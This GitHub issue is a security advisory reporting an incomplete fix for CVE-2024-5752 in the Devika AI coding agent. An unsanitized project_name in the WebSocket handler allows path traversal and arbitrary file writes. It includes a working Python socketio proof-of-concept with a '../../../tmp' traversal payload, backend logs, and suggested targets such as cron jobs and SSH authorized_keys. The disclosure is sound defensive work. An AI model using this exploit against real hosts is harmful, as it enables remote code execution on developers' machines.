Skip to content

[Security] Incomplete Fix for CVE-2024-5752: Arbitrary File Write via Unsanitized project_name in WebSocket API #712

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: Incomplete Fix for CVE-2024-5752: Arbitrary File Write via Unsanitized project_name in WebSocket API

Description:

Summary

Devika suffers from a critical path traversal vulnerability in its WebSocket API. An incomplete fix for CVE-2024-5752 correctly sanitized the project_name parameter on HTTP REST API endpoints but failed to apply the same secure_filename() sanitization to the user-message WebSocket event handler. This allows an unauthenticated attacker to inject ../ sequences into the project name, deceiving the AI agent's file-saving logic into writing arbitrary files (including executable code or configurations) outside the intended data/projects/ directory, resulting in Remote Code Execution (RCE).

Details

Devika's architecture relies heavily on WebSocket connections for real-time interaction with its underlying AI agents. When a client sends a message to the agent, the payload is handled by the user-message event listener in devika.py.

In devika.py lines 82-90, the project_name is extracted directly from the incoming SocketIO data dictionary and passed directly to the Agent.execute() thread without any sanitization:

@socketio.on('user-message')
def handle_message(data):
    # ...
    project_name = data.get('project_name')  # MISSING: secure_filename()
    # ...
    agent = Agent(base_model=base_model, search_engine=search_engine)
    # ...
    thread = Thread(target=lambda: agent.execute(message, project_name))

This unsanitized string flows directly into src/agents/coder/coder.py, where the AI agent attempts to save its generated source code:

def save_code_to_project(self, response: List[Dict[str, str]], project_name: str):
    file_path_dir = None
    project_name = project_name.lower().replace(" ", "-") # Insufficient sanitization

    for file in response:
        file_path = os.path.join(self.project_dir, project_name, file['file'])
        # ...
        with open(file_path, "w", encoding="utf-8") as f:
            f.write(file["code"])

Because os.path.join natively resolves relative traversal strings, providing a project_name like ../../../tmp/pwned will escape self.project_dir (which defaults to data/projects), resulting in arbitrary file writes on the host system.

PoC

  1. Start the Devika backend (python3 devika.py). It binds to port 1337 by default.
  2. Ensure you have the python-socketio package installed (pip install "python-socketio[client]").
  3. Create the following exploit script exploit.py:
import socketio
import time

sio = socketio.Client()

@sio.event
def connect():
    print("[+] Connected to Devika WebSocket API")
    # Emit malicious payload breaking out of data/projects/
    sio.emit('user-message', {
        'message': "Create a hello world python script",
        'base_model': 'GPT-4o',
        'project_name': '../../../tmp/pwned_project_name_test',
        'search_engine': 'duckduckgo'
    })
    time.sleep(10)
    sio.disconnect()

sio.connect('http://127.0.0.1:1337')
sio.wait()
  1. Run the exploit using python3 exploit.py.
  2. Check your /tmp/ directory (or equivalent relative path outside Devika). The agent will have generated the code and dropped the python script into the arbitrary location: ls -la /tmp/pwned_project_name_test.

Log of Evidence

$ python3 exploit.py
[+] Connected to Devika WebSocket API

# Backend Log Execution:
26.03.06 12:03:33: root: INFO   : User message: {'message': 'Create a hello world app', 'base_model': 'GPT-4o', 'project_name': '../../../tmp/pwned_project_name_test'}
[*] Agent thread started for project: ../../../tmp/pwned_project_name_test
...
[Agent logic evaluates and writes file...]

# Victim Host File System:
$ ls -la /root/llm-project/tmp/pwned_project_name_test/pwned.txt
-rw-r--r-- 1 root root 31 Mar  6 12:03 pwned.txt

Impact

Arbitrary File Write leading to Remote Code Execution (RCE). An attacker can supply a malicious project_name to overwrite cron jobs (/etc/cron.d/), overwrite SSH keys (~/.ssh/authorized_keys), or plant malicious startup scripts. Since the WebSocket server completely lacks origin protection (cors_allowed_origins="*"), this can even be executed by a malicious website visited by a developer running Devika locally.

Affected products

  • Ecosystem: python
  • Package name: stitionai/devika
  • Affected versions: All versions (e.g., latest d6a096c)
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Weaknesses

  • CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Occurrences

Permalink Description
https://github.com/stitionai/devika/blob/main/devika.py#L82 The user-message WebSocket handler extracting the unsanitized project_name.
https://github.com/stitionai/devika/blob/main/src/agents/coder/coder.py#L68-L73 The Coder sink performing the unsafe file path concatenation using os.path.join().
https://github.com/stitionai/devika/blob/main/src/documenter/pdf.py#L13-L16 The PDF sink performing unsafe PDF file path concatenation based on the same parameter.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions